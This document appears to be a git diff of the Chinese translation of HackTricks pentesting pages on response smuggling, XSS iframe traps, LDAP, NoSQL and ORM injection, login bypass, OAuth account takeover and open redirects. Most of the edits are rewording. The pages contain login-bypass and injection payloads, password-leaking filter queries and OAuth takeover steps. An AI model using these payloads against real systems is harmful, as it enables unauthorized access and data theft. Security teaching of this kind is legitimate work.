然后,一旦**蓝色请求**被**响应给攻击者**,下一个受害者的请求将被引入队列:
|
||||
然后,一旦**蓝色请求**被响应给攻击者,**下一个受害者的请求**将被引入队列:
|
||||
|
||||
.png>)
|
||||
|
||||
然后,**受害者**将**收到**来自**HEAD**请求的**响应**,该响应**将包含一个 Content-Length,但没有任何内容**。因此,代理**不会将此响应发送给受害者**,而是**等待**一些**内容**,实际上将是**对黄色请求的响应**(也由攻击者注入):
|
||||
然后,**受害者**将**收到**来自**HEAD**请求的**响应**,该响应**将包含一个 Content-Length,但没有任何内容**。因此,代理**不会将此响应发送给受害者**,而是**等待**一些**内容**,实际上这将是**对黄色请求的响应**(也由攻击者注入):
|
||||
|
||||
.png>)
|
||||
|
||||
### 内容混淆
|
||||
|
||||
根据前面的例子,知道你可以**控制请求的主体**,而该请求的响应将被受害者接收,并且**HEAD** **响应**通常在其头部包含**Content-Type 和 Content-Length**,你可以**发送如下请求**以**在受害者中引发 XSS**,而页面并不容易受到 XSS 的攻击:
|
||||
根据前面的例子,知道你可以**控制请求的主体**,其响应将被受害者接收,并且**HEAD** **响应**通常在其头部包含**Content-Type 和 Content-Length**,你可以**发送如下请求**以**在受害者中引发 XSS**,而页面并不容易受到 XSS 的攻击:
|
||||
|
||||
.png>)
|
||||
|
||||
### 缓存中毒
|
||||
|
||||
利用之前提到的响应去同步内容混淆攻击,**如果缓存存储了受害者执行的请求的响应,并且该响应是一个引发 XSS 的注入响应,那么缓存就被中毒了**。
|
||||
利用之前提到的响应去同步内容混淆攻击,**如果缓存存储了受害者执行的请求的响应,并且该响应是一个导致 XSS 的注入响应,那么缓存就被中毒了**。
|
||||
|
||||
包含 XSS 有效载荷的恶意请求:
|
||||
|
||||
.png>)
|
||||
|
||||
包含指示缓存存储响应的头部的恶意响应:
|
||||
包含指示缓存存储响应的头的恶意响应:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,在这种情况下,如果**“受害者”是攻击者**,他现在可以在任意 URL 上执行**缓存中毒**,因为他可以**控制将要被缓存的 URL**,并且带有恶意响应。
|
||||
> 请注意,在这种情况下,如果**“受害者”是攻击者**,他现在可以在任意 URL 上执行**缓存中毒**,因为他可以**控制将要被缓存的 URL**,与恶意响应一起。
|
||||
|
||||
### Web 缓存欺骗
|
||||
|
||||
此攻击类似于前一个,但**不是在缓存中注入有效载荷,而是攻击者将在缓存中缓存受害者信息:**
|
||||
此攻击类似于前一个,但**攻击者将受害者信息缓存到缓存中,而不是在缓存中注入有效载荷:**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -111,13 +111,13 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
|
||||
|
||||
此攻击的**目标**是再次利用**响应** **去同步**,以使代理发送一个 100% 由攻击者生成的响应。
|
||||
|
||||
为了实现这一点,攻击者需要找到一个**反射某些值到响应中的** Web 应用程序的端点,并且**知道 HEAD 响应的内容长度**。
|
||||
为了实现这一点,攻击者需要找到一个**反射某些值到响应中的** Web 应用程序的端点,并**知道 HEAD 响应的内容长度**。
|
||||
|
||||
他将发送一个**漏洞**,如下所示:
|
||||
|
||||
.png>)
|
||||
|
||||
在第一个请求被解决并发送回攻击者后,**受害者的请求将被添加到队列中**:
|
||||
在第一个请求被解决并发送回攻击者后,**受害者的请求被添加到队列中**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -127,6 +127,6 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
|
||||
|
||||
然而,请注意**反射数据的大小与 HEAD 响应的 Content-Length 相符**,这**在响应队列中生成了一个有效的 HTTP 响应**。
|
||||
|
||||
因此,**第二个受害者的下一个请求**将**接收到**完全由攻击者构造的**响应**。由于响应完全由攻击者构造,他还可以**使代理缓存该响应**。
|
||||
因此,**第二个受害者的下一个请求**将**接收到**一个完全由攻击者构造的**响应**。由于响应完全由攻击者构造,他还可以**使代理缓存该响应**。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
这种通过 iframe 滥用 XSS 来窃取用户在网页上移动时的信息的形式最初在 trustedsec.com 的这两篇文章中发布:[**这里**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **和** [**这里**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)。
|
||||
这种通过 iframe 滥用 XSS 来窃取用户在网页上移动时信息的形式最初在 trustedsec.com 的这两篇文章中发布:[**这里**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **和** [**这里**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)。
|
||||
|
||||
攻击开始于一个易受 XSS 攻击的页面,在这里可以让 **受害者不离开 XSS**,通过让他们 **在一个占据整个网页应用的 iframe 中导航**。
|
||||
|
||||
XSS 攻击基本上会在 100% 的屏幕上加载网页到一个 iframe 中。因此,受害者 **不会注意到他在一个 iframe 中**。然后,如果受害者通过点击 iframe 内的链接(在网页内)进行页面导航,他将 **在 iframe 内导航**,使用加载的任意 JS 窃取此导航中的信息。
|
||||
XSS 攻击基本上会在 100% 的屏幕中加载网页到一个 iframe 中。因此,受害者 **不会注意到他在一个 iframe 中**。然后,如果受害者通过点击 iframe 内的链接(在网页内)进行页面导航,他将 **在 iframe 内导航**,使用加载的任意 JS 窃取此导航中的信息。
|
||||
|
||||
此外,为了使其更真实,可以使用一些 **监听器** 来检查 iframe 何时更改页面的位置,并用用户认为他正在使用浏览器移动页面的那些位置更新浏览器的 URL。
|
||||
|
||||
@ -16,7 +16,7 @@ XSS 攻击基本上会在 100% 的屏幕上加载网页到一个 iframe 中。
|
||||
|
||||
<figure><img src="../images/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
此外,可以使用监听器来窃取敏感信息,不仅是受害者正在访问的其他页面,还有用于 **填写表单** 的数据并发送它们(凭据?)或 **窃取本地存储**...
|
||||
此外,可以使用监听器来窃取敏感信息,不仅是受害者正在访问的其他页面,还包括用于 **填写表单** 并发送它们(凭据?)或 **窃取本地存储**...
|
||||
|
||||
当然,主要的限制是 **受害者关闭标签页或在浏览器中输入另一个 URL 将逃离 iframe**。另一种方法是 **刷新页面**,然而,这可能会通过在每次新页面加载到 iframe 内时禁用右键上下文菜单或注意用户的鼠标何时离开 iframe 来部分 **防止**,可能是为了点击浏览器的刷新按钮,在这种情况下,浏览器的 URL 会更新为原始的易受 XSS 攻击的 URL,因此如果用户刷新它,它将再次被污染(请注意,这并不是非常隐蔽)。
|
||||
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 web 应用程序的攻击。当应用程序 **未能正确清理** 输入时,就会发生这种情况,攻击者可以通过本地代理 **操纵 LDAP 语句**,可能导致未经授权的访问或数据操纵。
|
||||
**LDAP 注入** 是一种针对构建 LDAP 语句的 web 应用程序的攻击,攻击者通过用户输入进行操作。当应用程序 **未能正确清理** 输入时,攻击者可以通过本地代理 **操纵 LDAP 语句**,这可能导致未经授权的访问或数据操控。
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
@ -46,17 +46,17 @@
|
||||
|
||||
**发送过滤器时使用正确的语法非常重要,否则会抛出错误。最好只发送 1 个过滤器。**
|
||||
|
||||
过滤器必须以:`&` 或 `|` 开头\
|
||||
示例:`(&(directory=val1)(folder=public))`
|
||||
过滤器必须以 `&` 或 `|` 开头。\
|
||||
示例: `(&(directory=val1)(folder=public))`
|
||||
|
||||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||
|
||||
然后:`(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器(被执行的那个)。
|
||||
然后: `(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器(被执行的那个)。
|
||||
|
||||
### 登录绕过
|
||||
|
||||
LDAP 支持多种格式来存储密码:明文、md5、smd5、sh1、sha、crypt。因此,可能无论你在密码中插入什么,它都会被哈希处理。
|
||||
LDAP 支持多种格式来存储密码:明文、md5、smd5、sh1、sha、crypt。因此,无论你在密码中插入什么,它都可能被哈希处理。
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -180,7 +180,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
||||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **特殊盲 LDAP 注入(不带 "\*")**
|
||||
#### **特殊盲LDAP注入(不带“\*”)**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
||||
@ -4,22 +4,22 @@
|
||||
|
||||
## **绕过常规登录**
|
||||
|
||||
如果你发现一个登录页面,这里有一些技术可以尝试绕过它:
|
||||
如果你发现了一个登录页面,这里有一些技术可以尝试绕过它:
|
||||
|
||||
- 检查页面内的 **评论**(向下滚动并向右?)
|
||||
- 检查是否可以 **直接访问受限页面**
|
||||
- 检查 **不发送参数**(不要发送任何或仅发送1个)
|
||||
- 检查 **不发送参数**(不发送任何或仅发送1个)
|
||||
- 检查 **PHP 比较错误:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
- **将内容类型更改为 json** 并发送 json 值(包括 bool true)
|
||||
- 如果你收到一条响应,表示不支持 POST,你可以尝试以 **GET 请求发送 JSON 到主体**,并设置 `Content-Type: application/json`
|
||||
- 如果你收到一个响应,表示不支持 POST,你可以尝试以 **GET 请求发送 JSON 到主体**,并设置 `Content-Type: application/json`
|
||||
- 检查 nodejs 潜在的解析错误(阅读 [**这个**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
- Nodejs 会将该有效负载转换为类似以下的查询: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这使得密码位始终为真。
|
||||
- 如果你可以发送 JSON 对象,你可以发送 `"password":{"password": 1}` 来绕过登录。
|
||||
- 记住,要绕过此登录,你仍然需要 **知道并发送有效的用户名**。
|
||||
- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止在参数中传递 `Object` 时的所有意外行为**。
|
||||
- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止所有意外行为,当 `Object` 被传递** 在参数中。
|
||||
- 检查凭据:
|
||||
- [**默认凭据**](../../generic-hacking/brute-force.md#default-credentials) 的技术/平台
|
||||
- **常见组合**(root,admin,password,技术名称,带有这些密码之一的默认用户)。
|
||||
- **常见组合**(root, admin, password, 技术名称, 默认用户与这些密码之一)。
|
||||
- 使用 **Cewl** 创建字典,**添加** 默认用户名和密码(如果有),并尝试使用所有单词作为 **用户名和密码** 进行暴力破解
|
||||
- **暴力破解** 使用更大的 **字典 (**[**暴力破解**](../../generic-hacking/brute-force.md#http-post-form)**)**
|
||||
|
||||
@ -75,15 +75,15 @@ admin))(|(|
|
||||
```
|
||||
### 记住我
|
||||
|
||||
如果页面有 "**记住我**" 功能,检查它是如何实现的,看看你是否可以利用它来 **接管其他账户**。
|
||||
如果页面有 "**记住我**" 功能,请检查其实现方式,看看是否可以利用它来 **接管其他账户**。
|
||||
|
||||
### 重定向
|
||||
|
||||
页面通常在登录后会重定向用户,检查你是否可以更改该重定向以导致 [**开放重定向**](../open-redirect.md)。如果你将用户重定向到你的网站,可能会窃取一些信息(代码、cookies...)。
|
||||
页面通常在登录后会重定向用户,请检查是否可以更改该重定向以导致 [**开放重定向**](../open-redirect.md)。如果将用户重定向到您的网站,您可能会窃取一些信息(代码、cookie...)。
|
||||
|
||||
## 其他检查
|
||||
|
||||
- 检查你是否可以通过登录功能 **枚举用户名**。
|
||||
- 检查是否可以通过登录功能 **枚举用户名**。
|
||||
- 检查密码/**敏感**信息 **表单** **输入** 中是否启用了 **自动完成**:`<input autocomplete="false">`
|
||||
|
||||
## 自动化工具
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
此列表包含**通过XPath、LDAP和SQL注入绕过登录的有效载荷**(按此顺序)。
|
||||
|
||||
使用此列表的方法是将**前200行作为用户名和密码。** 然后,将完整列表放在用户名输入框中,接着在密码输入框中放入一些密码(如 _Pass1234._)或一些已知用户名(如 _admin_)。
|
||||
使用此列表的方法是将**前200行作为用户名和密码。** 然后,将完整列表首先放入用户名输入框,然后放入密码输入框,同时输入一些密码(如 _Pass1234._)或一些已知用户名(如 _admin_)。
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。
|
||||
|
||||
这些利用基于添加一个 **Operator**:
|
||||
这些利用基于添加一个 **操作符**:
|
||||
```bash
|
||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||||
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
攻击者可以通过输入字符串如 `admin' || 'a'=='a` 来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似的注入,通过输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。
|
||||
攻击者可以通过输入字符串如 `admin' || 'a'=='a` 来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似的注入,输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
@ -86,7 +86,7 @@ in JSON
|
||||
|
||||
### 从不同集合获取信息
|
||||
|
||||
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们正在读取一个名为 **`users`** 的 **不同集合**,并获取 **所有条目** 的结果,这些条目的密码与通配符匹配。
|
||||
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取 **所有条目** 的结果,这些条目的密码与通配符匹配。
|
||||
|
||||
**注意:** 只有在使用 `aggregate()` 函数进行搜索时,`$lookup` 和其他聚合函数才可用,而不是更常见的 `find()` 或 `findOne()` 函数。
|
||||
```json
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/),提供一个 **授权框架,使应用程序能够访问或在另一个应用程序中执行用户账户上的操作**(授权服务器)。
|
||||
|
||||
考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,使用了 OAuth 2.0。_https://example.com_ 将请求您的权限以 **访问您的社交媒体帖子**。因此,_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后,_https://example.com_ 获得了 **代表您访问您的帖子** 的能力。
|
||||
考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,使用了 OAuth 2.0。_https://example.com_ 将请求您的权限以 **访问您的社交媒体帖子**。因此,_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后,_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
|
||||
|
||||
理解 OAuth 2.0 框架中的以下组件至关重要:
|
||||
|
||||
@ -15,7 +15,7 @@ OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https
|
||||
- **客户端应用程序**:向 `资源拥有者` 请求授权的 **应用程序**,例如 **https://example.com**。
|
||||
- **授权服务器**:在成功验证 `资源拥有者` 并获得授权后,**向 `客户端应用程序` 发放 `access tokens` 的服务器**,例如 **https://socialmedia.com**。
|
||||
- **client_id**:应用程序的公共唯一标识符。
|
||||
- **client_secret**:仅为应用程序和授权服务器所知的机密密钥,用于生成 `access_tokens`。
|
||||
- **client_secret**:仅应用程序和授权服务器知道的机密密钥,用于生成 `access_tokens`。
|
||||
- **response_type**:指定 **请求的令牌类型** 的值,例如 `code`。
|
||||
- **scope**:`客户端应用程序` 请求的 `资源拥有者` 的 **访问级别**。
|
||||
- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 对齐。
|
||||
@ -39,8 +39,8 @@ https://socialmedia.com/auth
|
||||
&scope=readPosts
|
||||
&state=randomString123
|
||||
```
|
||||
3. 然后您将看到一个同意页面。
|
||||
4. 在您批准后,社交媒体会向 `redirect_uri` 发送包含 `code` 和 `state` 参数的响应:
|
||||
3. 然后您会看到一个同意页面。
|
||||
4. 在您批准后,社交媒体会将带有 `code` 和 `state` 参数的响应发送到 `redirect_uri`:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
@ -50,7 +50,7 @@ POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. 最后,过程结束时 https://example.com 使用您的 `access_token` 进行 API 调用以访问
|
||||
6. 最后,过程结束时 https://example.com 使用您的 `access_token` 向社交媒体发起 API 调用以访问
|
||||
|
||||
## 漏洞 <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
@ -87,7 +87,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
|
||||
### 秘密泄露 <a href="#e177" id="e177"></a>
|
||||
|
||||
识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户`access_tokens`**和私人信息。
|
||||
识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
|
||||
|
||||
一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code`与`access_token`的交换。这一错误导致`client_secret`的暴露,使攻击者能够以应用程序的名义生成`access_tokens`。此外,通过社会工程学,攻击者可以通过向OAuth授权添加额外的范围来提升权限,进一步利用应用程序的信任状态。
|
||||
|
||||
@ -106,11 +106,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
```
|
||||
### Referer Header leaking Code + State
|
||||
|
||||
一旦客户端拥有了 **code 和 state**,如果它们在浏览到不同页面时 **反映在 Referer 头中**,那么它就存在漏洞。
|
||||
一旦客户端拥有了 **code 和 state**,如果它们在浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
|
||||
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
前往 **浏览器历史记录并检查访问令牌是否保存在其中**。
|
||||
前往 **浏览器历史记录,检查访问令牌是否保存在其中**。
|
||||
|
||||
### Everlasting Authorization Code
|
||||
|
||||
@ -151,14 +151,14 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
|
||||
正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts),期望接收 **token**(而不是代码)的 OAuth 流程可能会受到攻击,如果它们没有检查该 token 是否属于该应用程序。
|
||||
|
||||
这是因为 **攻击者** 可以在自己的应用程序中创建一个 **支持 OAuth 和使用 Facebook 登录的应用程序**(例如)。然后,一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录,攻击者就可以获取 **分配给其应用程序的用户的 OAuth token,并使用它在受害者的 OAuth 应用程序中登录,使用受害者的用户 token**。
|
||||
这是因为 **攻击者** 可以在自己的应用程序中创建一个 **支持 OAuth 并使用 Facebook 登录的应用程序**(例如)。然后,一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录,攻击者就可以获取 **分配给其应用程序的用户的 OAuth token,并使用它在受害者的 OAuth 应用程序中登录,使用受害者的用户 token**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 因此,如果攻击者设法让用户访问自己的 OAuth 应用程序,他将能够在期望 token 的应用程序中接管受害者的账户,而这些应用程序并未检查该 token 是否被授予其应用程序 ID。
|
||||
|
||||
### 两个链接和 cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
|
||||
根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,并且在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
|
||||
|
||||
为了绕过此提示,可以打开一个选项卡以启动 **Oauth 流程**,该流程将使用 **returnUrl** 设置此 RU cookie,在提示显示之前关闭选项卡,然后打开一个没有该值的新选项卡。然后,**提示不会通知攻击者的主机**,但 cookie 将被设置为它,因此 **token 将在重定向中发送到攻击者的主机**。
|
||||
|
||||
@ -179,14 +179,14 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
|
||||
根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96),这是一个允许通过 **用户名** 和 **密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回了一个具有用户可以执行的所有操作的访问权限的 **token**,那么就可以使用该 token 绕过 2FA。
|
||||
|
||||
### 基于开放重定向到引荐的网页重定向 ATO <a href="#bda5" id="bda5"></a>
|
||||
### 基于开放重定向到引用者的网页重定向 ATO <a href="#bda5" id="bda5"></a>
|
||||
|
||||
这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 讨论了如何滥用 **开放重定向** 从 **引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下:
|
||||
这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 讨论了如何滥用 **开放重定向** 从 **引用者** 的值来滥用 OAuth 进行 ATO。攻击步骤如下:
|
||||
|
||||
1. 受害者访问攻击者的网页
|
||||
2. 受害者打开恶意链接,打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程,**引荐为攻击者的网站**。
|
||||
3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并使用 30X 代码,这仍然保持攻击者网站在引荐中。
|
||||
4. 受害者 **网站根据引荐触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而允许他通过 Google 接管受害者网站的用户账户。
|
||||
2. 受害者打开恶意链接,打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程,引用者为 **攻击者网站**。
|
||||
3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并使用 30X 代码,这仍然保持攻击者网站在引用者中。
|
||||
4. 受害者 **网站根据引用者触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而允许他通过 Google 接管受害者网站的用户账户。
|
||||
|
||||
### SSRFs 参数 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -196,8 +196,8 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
|
||||
|
||||
**关键点:**
|
||||
|
||||
- **动态客户端注册** 通常映射到 `/register`,并接受如 `client_name`、`client_secret`、`redirect_uris` 和用于徽标或 JSON Web Key Sets (JWKs) 的 URL 的 POST 请求。
|
||||
- 此功能遵循 **RFC7591** 和 **OpenID Connect Registration 1.0** 中列出的规范,这些规范包括可能对 SSRF 易受攻击的参数。
|
||||
- **动态客户端注册** 通常映射到 `/register`,并接受如 `client_name`、`client_secret`、`redirect_uris` 和用于徽标或 JSON Web 密钥集 (JWKs) 的 URL 的详细信息,通过 POST 请求。
|
||||
- 此功能遵循 **RFC7591** 和 **OpenID Connect Registration 1.0** 中列出的规范,其中包括可能对 SSRF 易受攻击的参数。
|
||||
- 注册过程可能会以多种方式无意中使服务器暴露于 SSRF:
|
||||
- **`logo_uri`**:客户端应用程序徽标的 URL,服务器可能会获取该 URL,从而触发 SSRF 或导致 XSS(如果 URL 处理不当)。
|
||||
- **`jwks_uri`**:客户端的 JWK 文档的 URL,如果恶意构造,可能导致服务器向攻击者控制的服务器发出外部请求。
|
||||
@ -206,8 +206,8 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
|
||||
|
||||
**利用策略:**
|
||||
|
||||
- 通过在 `logo_uri`、`jwks_uri` 或 `sector_identifier_uri` 等参数中注册带有恶意 URL 的新客户端,可以触发 SSRF。
|
||||
- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用,但提供一个预先注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
|
||||
- 通过在参数如 `logo_uri`、`jwks_uri` 或 `sector_identifier_uri` 中注册带有恶意 URL 的新客户端,可以触发 SSRF。
|
||||
- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用,但提供一个预注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
|
||||
|
||||
## OAuth 提供者竞争条件
|
||||
|
||||
|
||||
@ -166,7 +166,7 @@ exit;
|
||||
|
||||
## 资源
|
||||
|
||||
- 在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 中可以找到模糊测试列表。\\
|
||||
- 在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 你可以找到模糊测试列表。\\
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
@ -20,7 +20,7 @@ return Response([])
|
||||
return Response(serializer.data)
|
||||
</code></pre>
|
||||
|
||||
注意所有的request.data(这将是一个json)是直接传递给**从数据库中过滤对象**的。攻击者可以发送意外的过滤器,以泄露比预期更多的数据。
|
||||
注意所有的request.data(这将是一个json)是直接传递给**从数据库中过滤对象**。攻击者可以发送意外的过滤器,以便泄露比预期更多的数据。
|
||||
|
||||
示例:
|
||||
|
||||
@ -34,7 +34,7 @@ return Response(serializer.data)
|
||||
> [!CAUTION]
|
||||
> 可能会通过暴力破解密码直到其泄露。
|
||||
|
||||
- **关系过滤**:可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如,如果可以通过以下关系泄露由用户创建的文章:Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)。
|
||||
- **关系过滤**:可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如,如果可以泄露由用户创建的文章,具有以下关系:Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)。
|
||||
```json
|
||||
{
|
||||
"created_by__user__password__contains": "pass"
|
||||
@ -67,7 +67,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
> [!CAUTION]
|
||||
> 滥用关系可以绕过即使是旨在保护所显示数据的过滤器。
|
||||
|
||||
- **基于错误/时间的 ReDoS**:在之前的示例中,如果过滤工作正常,预期会有不同的响应以用作神谕。但也可能在数据库中执行某些操作,响应始终相同。在这种情况下,可以使数据库错误以获取新的神谕。
|
||||
- **基于错误/时间的 ReDoS**:在之前的示例中,如果过滤工作正常,预期会有不同的响应以用作神谕。但也可能在数据库中执行某些操作,响应始终相同。在这种情况下,可能可以使数据库出错以获取新的神谕。
|
||||
```json
|
||||
// Non matching password
|
||||
{
|
||||
@ -78,14 +78,14 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||||
```
|
||||
- **SQLite**: 默认情况下没有 regexp 操作符(需要加载第三方扩展)
|
||||
